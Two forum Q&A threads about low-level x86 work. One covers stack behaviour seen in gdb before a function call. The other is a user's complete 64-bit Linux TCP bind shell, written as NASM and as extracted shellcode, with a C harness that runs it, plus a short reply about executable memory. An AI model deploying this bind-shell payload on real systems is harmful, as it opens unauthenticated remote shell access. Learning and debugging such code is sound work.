When I step through esp = 0xbffff7e0 at this point in time. When I step into the check_authentication function esp = 0xbffff7a0. These lines are writing the address for a (char *) that is the argument for check_authentication but they are writing it at 0xbffff7e0 and not within the stack frame of 0xbffff7a0 - 0xbffff7e0. The only rationale I can think of is that stacks are allocated padding when they are created and because this is probably padding the compiler is doing this to save space? Does anyone know if that's the case? Why doesn't it write the address at esp-4 which is actually inside the function's stack frame?
EDIT: Adding memory outputs to help with my poor explanation
Inside main():
(gdb) x/4xw $esp
0xbffff7e0: 0xb8000ce0 0x08048510 0xbffff848 0xb7eafebc
Inside of check_authentication():
(gdb) x/32xw $esp
0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9
0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000
0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4
0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb
0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc
In main 0xbffff7e0 = 0xe00c00b8
In check_authentication 0xbffff7e0 = 0xb7f9ffbf
The change occurs right before jumping into check_authentication but the change is meant for check_authentication so why is it at 0xbffff7e0 which is where mains() esp points to and not within check_function's stack frame. I'm racking my brain trying to figure this out.
There are no "allocated stack frames in x86". Stack is a continuous memory area, with SP pointing to the "top of stack" (its lowest address).
The assembly is not storing at some random address, but in [ESP], so it is within the function's stack frame - between the EBP and the current ESP inclusive.
PUSH opcode is defined not unlike the following C statement:
*--SP = value; // decrease pointer first, then store
whereas POP is
value = *SP++; // take the value pointed to, then increase pointer
Now in this line just before CALL check_authentication the compiler, instead of generating a PUSH, POP pair, just does the equivalent of
*SP = value;

Segmentation fault when i try to run the extracted shellcode even if there is no null

I am writing an TCP bind Shell using 64 bit
global _start
section .text
_start:
;Initializing the registers to make the syscalls
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rax, rax
xor rdi, rdi
xor rsi, rsi
push 0x29
pop rax
push 0x2
pop rdi
inc rsi
syscall
; copying the socket descripter from rax to rdi register so that we can use it further
xchg rax, rdi
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
; setting up the data sctructure
xor rax, rax
mov dword [rsp - 4] , eax ; we are pushing 8 zero's into the eax register
mov word [rsp - 6] ,0x5c11 ; htons value for(4444) obtained from python then encoded with hex
mov byte [rsp - 8] , 0x2 ; adding the AF_INET constant value
sub rsp , 8 ; subtracting 8 bytes so that the argument will be aligned in the top of the register
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
add al, 0x31
mov rsi, rsp
add dl, 0x10
syscall
;listen the sockets for the incomming connections
; listen(sock, MAX_CLIENTS)
; syscall number 50
cdq
push 0x32
pop rax
xor rsi, rsi
add rsi, 0x2
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
;syscall number 43
xor rax, rax
add al, 0x2b
sub rsp, 0x10
mov rsi, rsp
push 0x10
mov rdx, rsp
syscall
; storing the client socket description
mov r9, rax
; close parent
push 0x3
pop rax
syscall
xchg rdi , r9
xor rsi , rsi
dup2:
push 0x21
pop rax
syscall
inc rsi
cmp rsi , 0x2
loopne dup2
; NASM code for Execve
xor rax , rax
mov rdx , rax
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
push 0x3b
pop rax
syscall
When I try to run the compiled executable its running fine. But if I extract the shell-code and run it with c its throwing segmentation fault core dumped.
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x6a\x29\x58\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x04\x31\x48\x89\xe6\x80\xc2\x10\x0f\x05\x99\x6a\x32\x58\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x04\x2b\x48\x83\xec\x10\x48\x89\xe6\x6a\x10\x48\x89\xe2\x0f\x05\x49\x89\xc1\x6a\x03\x58\x0f\x05\x49\x87\xf9\x48\x31\xf6\x6a\x21\x58\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\xe0\xf2\x48\x31\xc0\x48\x89\xc2\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05";
Help me figure what's wrong in this
shellcode.c
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x6a\x29\x58\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x04\x31\x48\x89\xe6\x80\xc2\x10\x0f\x05\x99\x6a\x32\x58\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x04\x2b\x48\x83\xec\x10\x48\x89\xe6\x6a\x10\x48\x89\xe2\x0f\x05\x49\x89\xc1\x6a\x03\x58\x0f\x05\x49\x87\xf9\x48\x31\xf6\x6a\x21\x58\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\xe0\xf2\x48\x31\xf6\x48\xf7\xe6\x66\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Okay, this looks like it's on Linux. You have to make your stack executable in order to make it work. You basically have to call mprotect() on your region of memory and set its permissions to PROT_EXEC and PROT_READ.
http://linux.about.com/library/cmd/blcmdl2_mprotect.htm

Resources